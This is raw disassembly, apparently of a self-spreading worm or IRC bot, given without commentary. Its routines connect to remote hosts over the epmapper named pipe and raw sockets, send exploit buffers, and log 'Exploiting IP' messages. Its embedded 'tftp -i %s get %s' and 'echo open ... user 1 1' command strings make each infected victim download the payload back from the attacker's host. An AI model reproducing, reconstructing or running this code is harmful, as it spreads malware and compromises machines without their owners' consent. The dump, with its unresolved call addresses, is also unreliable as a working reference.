arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D8F2 test al, al jz short loc_40D9E1 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41CD20 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D9E1: ; CODE XREF: sub_40D9B3+12j mov eax, esi pop edi pop esi retn 8 sub_40D9B3 endp ; =============== S U B R O U T I N E ======================================= sub_40D9E8 proc near ; CODE XREF: sub_40D824+39p ; sub_40D824+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D9FB call sub_426173 loc_40D9FB: ; CODE XREF: sub_40D9E8+Cj mov ecx, edi call sub_40DB0C mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40DA11 mov ebx, eax loc_40DA11: ; CODE XREF: sub_40D9E8+25j test ebx, ebx jbe short loc_40DA47 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41D670 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D8F2 test al, al jz short loc_40DA47 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40DA47: ; CODE XREF: sub_40D9E8+2Bj ; sub_40D9E8+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D9E8 endp ; =============== S U B R O U T I N E ======================================= sub_40DA4F proc near ; CODE XREF: sub_40D8F2+79p mov eax, offset loc_426AD0 call sub_41D640 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40DA75 mov edi, [ebp+8] loc_40DA75: ; CODE XREF: sub_40DA4F+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40DA82 xor eax, eax loc_40DA82: ; CODE XREF: sub_40DA4F+2Fj push eax call sub_41D9A5 pop ecx mov [ebp+8], eax jmp short loc_40DAB3 ; --------------------------------------------------------------------------- loc_40DA8E: ; DATA XREF: ___:00427F84o mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40DA9D xor eax, eax loc_40DA9D: ; CODE XREF: sub_40DA4F+4Aj push eax call sub_41D9A5 mov [ebp+8], eax pop ecx mov eax, offset loc_40DAAD retn ; --------------------------------------------------------------------------- loc_40DAAD: ; DATA XREF: sub_40DA4F+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40DAB3: ; CODE XREF: sub_40DA4F+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40DAD1 cmp eax, edi jbe short loc_40DAC0 mov eax, edi loc_40DAC0: ; CODE XREF: sub_40DA4F+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41CD20 add esp, 0Ch loc_40DAD1: ; CODE XREF: sub_40DA4F+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D977 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40DAF1 mov edi, ebx loc_40DAF1: ; CODE XREF: sub_40DA4F+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40DA4F endp ; =============== S U B R O U T I N E ======================================= sub_40DB0C proc near ; CODE XREF: sub_40D9E8+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40DB39 mov al, [esi-1] test al, al jz short loc_40DB39 cmp al, 0FFh jz short loc_40DB39 push 1 call sub_40D977 push esi call sub_41B9C0 pop ecx push eax push esi mov ecx, edi call sub_40D9B3 loc_40DB39: ; CODE XREF: sub_40DB0C+9j ; sub_40DB0C+10j ... pop edi pop esi retn sub_40DB0C endp ; =============== S U B R O U T I N E ======================================= sub_40DB3C proc near ; DATA XREF: ___:00429008o test byte_4DC018, 1 jnz short loc_40DB4C or byte_4DC018, 1 loc_40DB4C: ; CODE XREF: sub_40DB3C+7j jmp $+5 push offset nullsub_1 call sub_41DA20 pop ecx retn sub_40DB3C endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DB5E proc near ; CODE XREF: ___:0040DF74p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_432948 lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset off_432940 lea edi, [ebp+var_354] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, byte_43DB88 push 45h mov [ebp+var_124], al pop ecx xor eax, eax lea edi, [ebp+var_123] rep stosd stosw stosb lea eax, [ebp+var_124] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi call near ptr 26F0000h nop lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 mov esi, [ebp+arg_4] lea eax, [ebp+var_354] add esp, 10h mov [esi+14h], eax mov eax, offset dword_4CE6F4 push edi push eax push eax push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+1Ch], edi call dword_4CBA74 cmp eax, 5 mov ebx, 4C3h jz short loc_40DC22 cmp eax, ebx jnz short loc_40DC2C loc_40DC22: ; CODE XREF: sub_40DB5E+BEj push edi push edi push edi push esi call dword_4CBA74 loc_40DC2C: ; CODE XREF: sub_40DB5E+C2j cmp eax, 5 jz short loc_40DC3A cmp eax, ebx jz short loc_40DC3A push 1 pop eax jmp short loc_40DC3C ; --------------------------------------------------------------------------- loc_40DC3A: ; CODE XREF: sub_40DB5E+D1j ; sub_40DB5E+D5j xor eax, eax loc_40DC3C: ; CODE XREF: sub_40DB5E+DAj pop edi pop esi pop ebx leave retn sub_40DB5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC41 proc near ; CODE XREF: ___:0040DFC6p ; ___:0040E0A6p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset off_432948 lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset off_432940 lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, byte_43DB88 pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi call near ptr 26F0000h nop lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 add esp, 10h loc_40DCD2: ; CODE XREF: sub_40DC41+AFj push esi lea eax, [ebp+var_354] push esi push eax call dword_4CB90C test eax, eax jz short loc_40DCF2 push 7D0h call near ptr 2680000h nop jmp short loc_40DCD2 ; --------------------------------------------------------------------------- loc_40DCF2: ; CODE XREF: sub_40DC41+A2j push 1 pop eax pop edi pop esi leave retn sub_40DC41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DCF9 proc near ; CODE XREF: ___:0040DFF5p ; ___:0040E133p var_3004 = byte ptr -3004h var_2004 = byte ptr -2004h var_1FE0 = byte ptr -1FE0h var_1FD4 = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3004h call sub_41C500 push esi push edi push offset byte_429108 mov esi, 0A7h push [ebp+arg_0] mov [ebp+var_4], esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_3004] push 1000h push eax call sub_40B22B mov edi, eax add esp, 10h test edi, edi jz loc_40DF48 push ebx mov ebx, offset off_43285C push 30h lea eax, [ebp+var_2004] push ebx push eax call sub_41CD20 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_41BF70 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+var_1F2D] push eax call sub_41CD20 add esp, 24h lea esi, [edi+0D7h] loc_40DD7E: ; CODE XREF: sub_40DCF9+D3j mov eax, esi push 10h cdq pop ecx idiv ecx cmp edx, 0Ch jz short loc_40DDCE mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2004] inc esi push ebx push eax mov [ebp+var_4], esi call sub_41CD20 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_41BF70 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+esi+var_1FD4] push eax call sub_41CD20 add esp, 24h lea esi, [esi+edi+30h] jmp short loc_40DD7E ; --------------------------------------------------------------------------- loc_40DDCE: ; CODE XREF: sub_40DCF9+90j cmp [ebp+arg_C4], 0 jz short loc_40DDE9 cmp [ebp+arg_C0], 3 jz short loc_40DDF2 cmp [ebp+arg_C0], 0 jmp short loc_40DDF0 ; --------------------------------------------------------------------------- loc_40DDE9: ; CODE XREF: sub_40DCF9+DCj cmp [ebp+arg_C0], 3 loc_40DDF0: ; CODE XREF: sub_40DCF9+EEj jnz short loc_40DDFB loc_40DDF2: ; CODE XREF: sub_40DCF9+E5j push 4 push offset dword_43293C jmp short loc_40DE02 ; --------------------------------------------------------------------------- loc_40DDFB: ; CODE XREF: sub_40DCF9:loc_40DDF0j push 4 push offset dword_432938 loc_40DE02: ; CODE XREF: sub_40DCF9+100j lea eax, [ebp+var_1FE0] push eax call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_1004] push 360h push offset dword_432470 push eax call sub_41CD20 push 10h lea eax, [ebp+var_CA4] push offset dword_4327D4 push eax call sub_41CD20 lea eax, [ebp+var_2004] push esi push eax lea eax, [ebp+var_C94] push eax call sub_41CD20 lea edi, [esi+370h] push 3Ch push offset off_4327E8 lea eax, [ebp+edi+var_1004] push eax call sub_41CD20 add edi, 3Ch push 30h push offset dword_432828 lea eax, [ebp+edi+var_1004] push eax call sub_41CD20 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E78], eax call sub_41BEB5 add esp, 40h mov ebx, eax push esi push 0 push ebx call sub_41BF70 lea eax, [ebp+var_1004] push edi push eax push ebx call sub_41CD20 mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_40DF48: ; CODE XREF: sub_40DCF9+3Ej pop edi pop esi leave retn sub_40DCF9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1338h call sub_41C500 cmp dword ptr [ebp+0A8h], 1BDh push ebx push esi push edi jnz loc_40E0BA lea eax, [ebp-34h] push eax lea eax, [ebp+0Ch] push eax call sub_40DB5E pop ecx test eax, eax pop ecx jz loc_40E1CA lea eax, [ebp+0Ch] push eax lea eax, [ebp-338h] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax call sub_41C266 add esp, 0Ch xor ebx, ebx lea eax, [ebp-338h] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax nop call near ptr 272081Ah cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40DFD1 loc_40DFC2: ; CODE XREF: ___:0040E072j lea eax, [ebp+0Ch] push eax call sub_40DC41 pop ecx jmp loc_40E1CA ; --------------------------------------------------------------------------- loc_40DFD1: ; CODE XREF: ___:0040DFC0j lea eax, [ebp+0Ch] push 2 push eax call sub_4182CD pop ecx lea esi, [ebp+8] pop ecx push 1 push eax lea eax, [ebp-10h] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DCF9 add esp, 0C8h cmp eax, ebx mov [ebp-8], eax jz short loc_40E069 mov edi, 186A0h push edi call sub_41BEB5 mov esi, eax push edi push ebx push esi call sub_41BF70 add esp, 10h lea eax, [ebp-0Ch] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_432424 push dword ptr [ebp-4] nop call near ptr 2720000h cmp byte ptr [esi+2], 0Ch jnz short loc_40E059 lea eax, [ebp-14h] push ebx push eax push dword ptr [ebp-10h] push dword ptr [ebp-8] push dword ptr [ebp-4] call near ptr 2710000h nop test eax, eax jnz short loc_40E077 loc_40E059: ; CODE XREF: ___:0040E03Fj push esi call sub_41BA91 push dword ptr [ebp-8] call sub_41BA91 pop ecx pop ecx loc_40E069: ; CODE XREF: ___:0040E005j push dword ptr [ebp-4] call near ptr 266076Ah nop jmp loc_40DFC2 ; --------------------------------------------------------------------------- loc_40E077: ; CODE XREF: ___:0040E057j lea eax, [ebp-0Ch] push ebx push eax push edi push esi push dword ptr [ebp-4] nop call near ptr 2700000h push dword ptr [ebp-8] mov edi, eax call sub_41BA91 push esi call sub_41BA91 pop ecx pop ecx push dword ptr [ebp-4] call near ptr 266076Ah nop lea eax, [ebp+0Ch] push eax call sub_40DC41 cmp edi, 1 pop ecx jnz loc_40E1DE jmp loc_40E1CA ; --------------------------------------------------------------------------- loc_40E0BA: ; CODE XREF: ___:0040DF66j lea eax, [ebp+0Ch] push 1 push eax call sub_4182CD mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_40E1CA xor ebx, ebx push ebx push 1 push 2 call dword_4CBA54 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_40E1CA push 10h lea eax, [ebp-24h] push ebx push eax call sub_41BF70 add esp, 0Ch mov word ptr [ebp-24h], 2 push dword ptr [ebp+0A8h] call dword_4CB9D4 mov [ebp-22h], ax lea eax, [ebp+0Ch] push eax call dword_4CBA14 mov [ebp-20h], eax push ebx lea eax, [ebp-0Ch] push esi push eax lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DCF9 mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp-8], esi jnz short loc_40E14C push dword ptr [ebp-4] jmp short loc_40E1C4 ; --------------------------------------------------------------------------- loc_40E14C: ; CODE XREF: ___:0040E145j mov edi, [ebp-4] lea eax, [ebp-24h] push 10h push eax push edi call dword_4CB97C cmp eax, 0FFFFFFFFh jnz short loc_40E164 loc_40E161: ; CODE XREF: ___:0040E176j push esi jmp short loc_40E1BD ; --------------------------------------------------------------------------- loc_40E164: ; CODE XREF: ___:0040E15Fj push ebx push 48h push offset dword_432424 push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E161 mov esi, 1000h push ebx lea eax, [ebp-1338h] push esi push eax push edi call dword_4CB9EC push ebx push dword ptr [ebp-0Ch] push dword ptr [ebp-8] push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_40E1A5 push dword ptr [ebp-8] jmp short loc_40E1BD ; --------------------------------------------------------------------------- loc_40E1A5: ; CODE XREF: ___:0040E19Ej push ebx lea eax, [ebp-1338h] push esi push eax push edi call dword_4CB9EC push dword ptr [ebp-8] cmp eax, 0FFFFFFFFh jnz short loc_40E1D1 loc_40E1BD: ; CODE XREF: ___:0040E162j ; ___:0040E1A3j call sub_41BA91 pop ecx push edi loc_40E1C4: ; CODE XREF: ___:0040E14Aj call dword_4CBA6C loc_40E1CA: ; CODE XREF: ___:0040DF7Dj ; ___:0040DFCCj ... xor eax, eax jmp loc_40E28D ; --------------------------------------------------------------------------- loc_40E1D1: ; CODE XREF: ___:0040E1BBj call sub_41BA91 pop ecx push edi call dword_4CBA6C loc_40E1DE: ; CODE XREF: ___:0040E0AFj lea eax, [ebp+0Ch] push eax lea eax, [ebp-234h] push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"... push eax call sub_41C266 add esp, 0Ch xor esi, esi loc_40E1F8: ; CODE XREF: ___:0040E218j lea eax, [ebp-234h] push eax call sub_415E19 test eax, eax pop ecx jnz short loc_40E21C push 1388h nop call near ptr 2680000h inc esi cmp esi, 6 jl short loc_40E1F8 jmp short loc_40E28A ; --------------------------------------------------------------------------- loc_40E21C: ; CODE XREF: ___:0040E207j lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax lea eax, [ebp-234h] push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." push eax call sub_41C266 add esp, 10h cmp [ebp+0BCh], ebx jnz short loc_40E268 push ebx lea eax, [ebp-234h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 add esp, 14h loc_40E268: ; CODE XREF: ___:0040E249j lea eax, [ebp-234h] push eax call sub_415D38 mov eax, [ebp+0B0h] pop ecx shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40E28A: ; CODE XREF: ___:0040E21Aj push 1 pop eax loc_40E28D: ; CODE XREF: ___:0040E1CCj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E292 proc near ; CODE XREF: sub_40E3F1+42Ap var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_4CBA14 mov [ebp+var_C], eax mov ax, word_433290 push eax call dword_4CB9D4 push esi push 1 push 2 mov [ebp+var_E], ax call dword_4CBA54 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40E3CA lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CB97C cmp eax, 0FFFFFFFFh jz loc_40E3CA push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_4CB9EC mov edi, offset byte_429108 push edi push edi push [ebp+arg_0] call sub_40AA06 pop ecx mov esi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+var_1A0] push esi push eax call sub_41C360 add esp, 18h push dword_4CB710 push [ebp+arg_0] call sub_40AA06 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push esi push eax call sub_41C360 add esp, 14h lea eax, [ebp+var_1A0] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E3CA push 1F4h call near ptr 2680000h nop push edi push offset dword_42A2E8 lea eax, [ebp+var_1A0] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_40E3CE loc_40E3CA: ; CODE XREF: sub_40E292+51j ; sub_40E292+67j ... xor al, al jmp short loc_40E3EC ; --------------------------------------------------------------------------- loc_40E3CE: ; CODE XREF: sub_40E292+136j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_4CB9EC push ebx call dword_4CBA6C mov al, 1 loc_40E3EC: ; CODE XREF: sub_40E292+13Aj pop edi pop esi pop ebx leave retn sub_40E292 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E3F1 proc near ; CODE XREF: ___:0040E946p ; ___:0040E968p var_89B4 = byte ptr -89B4h var_894C = byte ptr -894Ch var_68DC = byte ptr -68DCh var_686C = byte ptr -686Ch var_5DA8 = byte ptr -5DA8h var_4804 = byte ptr -4804h var_4803 = byte ptr -4803h var_3770 = byte ptr -3770h var_2CAC = byte ptr -2CACh var_2CAB = byte ptr -2CABh var_2CA8 = byte ptr -2CA8h var_2C2C = byte ptr -2C2Ch var_245C = byte ptr -245Ch var_1FB1 = byte ptr -1FB1h var_1CC4 = byte ptr -1CC4h var_14E0 = byte ptr -14E0h var_14D0 = byte ptr -14D0h var_11AC = byte ptr -11ACh var_11A8 = byte ptr -11A8h var_119C = byte ptr -119Ch var_F14 = byte ptr -0F14h var_E74 = byte ptr -0E74h var_768 = dword ptr -768h var_758 = byte ptr -758h var_744 = byte ptr -744h var_104 = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h var_3C = byte ptr -3Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B4h call sub_41C500 mov eax, dword_43341C push ebx mov [ebp+var_10], eax mov eax, dword_433420 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_3C] push offset loc_433410 push eax call sub_41C266 add esp, 0Ch xor ebx, ebx xor esi, esi lea eax, [ebp+var_103] loc_40E430: ; CODE XREF: sub_40E3F1+4Ej mov cl, [ebp+esi+var_3C] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, 28h jl short loc_40E430 push 60h lea eax, [ebp+var_B4] push offset dword_432EA0 push eax call sub_41CD20 lea eax, [ebp+var_3C] push eax call sub_41B9C0 shl eax, 1 push eax lea eax, [ebp+var_104] push eax lea eax, [ebp+var_84] push eax call sub_41CD20 add esp, 1Ch lea eax, [ebp+var_3C] push 9 push (offset aC_0+3) push eax call sub_41B9C0 pop ecx lea eax, [ebp+eax*2+var_85] push eax call sub_41CD20 lea eax, [ebp+var_3C] push eax call sub_41B9C0 add al, 1Ah push 1 shl al, 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_B1] push eax call sub_41CD20 lea eax, [ebp+var_3C] push eax call sub_41B9C0 shl al, 1 add al, 9 push 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_87] push eax call sub_41CD20 mov ax, word_433290 add esp, 2Ch push eax call dword_4CB9D4 xor eax, 9999h push 2 mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_432BA0 call sub_41CD20 add esp, 0Ch cmp [ebp+arg_C0], ebx jz loc_40E5ED mov edi, 0DACh lea eax, [ebp+var_1CC4] push edi push 90h push eax call sub_41BF70 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea eax, dword_4332D0[eax] mov [ebp+var_14], eax push eax lea eax, [ebp+var_14E0] push eax call sub_41CD20 mov esi, offset loc_432AF0 push esi call sub_41B9C0 push eax lea eax, [ebp+var_14D0] push esi push eax call sub_41CD20 push 4 lea eax, [ebp+var_11AC] push offset loc_433408 push eax call sub_41CD20 push 4 lea eax, [ebp+var_11A8] push [ebp+var_14] push eax call sub_41CD20 add esp, 40h push esi call sub_41B9C0 push eax lea eax, [ebp+var_119C] push esi push eax call sub_41CD20 add esp, 10h xor esi, esi lea eax, [ebp+var_4803] loc_40E5A6: ; CODE XREF: sub_40E3F1+1C6j mov cl, [ebp+esi+var_1CC4] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, edi jl short loc_40E5A6 mov esi, 1C52h lea eax, [ebp+var_89B4] push esi push 31h push eax mov [ebp+var_2CAC], bl mov [ebp+var_2CAB], bl call sub_41BF70 push esi lea eax, [ebp+var_68DC] push 31h push eax call sub_41BF70 add esp, 18h jmp short loc_40E644 ; --------------------------------------------------------------------------- loc_40E5ED: ; CODE XREF: sub_40E3F1+118j push 7D0h lea eax, [ebp+var_F14] push 90h push eax call sub_41BF70 mov esi, offset loc_432AF0 push esi call sub_41B9C0 push eax lea eax, [ebp+var_E74] push esi push eax call sub_41CD20 lea eax, [ebp+var_10] push eax call sub_41B9C0 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_758] push eax call sub_41CD20 mov eax, dword_4332D0 add esp, 2Ch mov [ebp+var_768], eax loc_40E644: ; CODE XREF: sub_40E3F1+1FAj push 0E29h lea eax, [ebp+var_2CA8] push 31h push eax call sub_41BF70 movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch add eax, 4 push ebx push eax lea eax, [ebp+var_B4] push eax push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_40E683 loc_40E67C: ; CODE XREF: sub_40E3F1+2B9j ; sub_40E3F1+2E0j ... xor al, al jmp loc_40E82B ; --------------------------------------------------------------------------- loc_40E683: ; CODE XREF: sub_40E3F1+289j mov esi, 640h push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC push ebx push 68h push offset dword_432F04 push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E67C push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC push ebx push 0A0h push offset dword_432F70 push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E67C push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC cmp [ebp+arg_C0], ebx jz loc_40E799 push 68h lea eax, [ebp+var_89B4] push offset dword_433128 push eax call sub_41CD20 lea eax, [ebp+var_4804] push 1B5Ah push eax lea eax, [ebp+var_894C] push eax call sub_41CD20 push 70h lea eax, [ebp+var_68DC] push offset dword_433194 push eax call sub_41CD20 lea eax, [ebp+var_3770] push 0A5Eh push eax lea eax, [ebp+var_686C] push eax call sub_41CD20 push 84h lea eax, [ebp+var_5DA8] push offset dword_433208 push eax call sub_41CD20 add esp, 3Ch lea eax, [ebp+var_89B4] push ebx push 10FCh push eax push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jz loc_40E67C push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC push ebx push 0FDCh lea eax, [ebp+var_68DC] jmp short loc_40E7EF ; --------------------------------------------------------------------------- loc_40E799: ; CODE XREF: sub_40E3F1+2F8j push 7Ch lea eax, [ebp+var_2CA8] push offset dword_433014 push eax call sub_41CD20 lea eax, [ebp+var_F14] push 7D0h push eax lea eax, [ebp+var_2C2C] push eax call sub_41CD20 push 90h lea eax, [ebp+var_245C] push offset off_433094 push eax call sub_41CD20 add esp, 24h mov [ebp+var_1FB1], bl lea eax, [ebp+var_2CA8] push ebx push 0CF8h loc_40E7EF: ; CODE XREF: sub_40E3F1+3A6j push eax push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jz loc_40E67C push 12Ch nop call near ptr 2680000h sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_40E292 add esp, 0BCh test al, al setnz al loc_40E82B: ; CODE XREF: sub_40E3F1+28Dj pop edi pop esi pop ebx leave retn sub_40E3F1 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 854h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp-14h] push edi push eax mov [ebp-4], edi call sub_41BF70 add esp, 0Ch lea eax, [ebp+0Ch] mov word ptr [ebp-14h], 2 push eax call dword_4CBA14 push dword ptr [ebp+0A8h] mov [ebp-10h], eax call dword_4CB9D4 push 6 push 1 push 2 mov [ebp-12h], ax call dword_4CBA54 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40E929 lea eax, [ebp-14h] push 10h push eax push ebx call dword_4CB97C cmp eax, 0FFFFFFFFh jz loc_40E929 push edi push 89h push offset dword_432C88 push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E929 mov esi, 640h push edi lea eax, [ebp-854h] push esi push eax push ebx call dword_4CB9EC push edi push 0A8h push offset dword_432D14 push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E929 push edi lea eax, [ebp-854h] push esi push eax push ebx call dword_4CB9EC push edi push 0DEh push offset dword_432DC0 push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E929 push edi lea 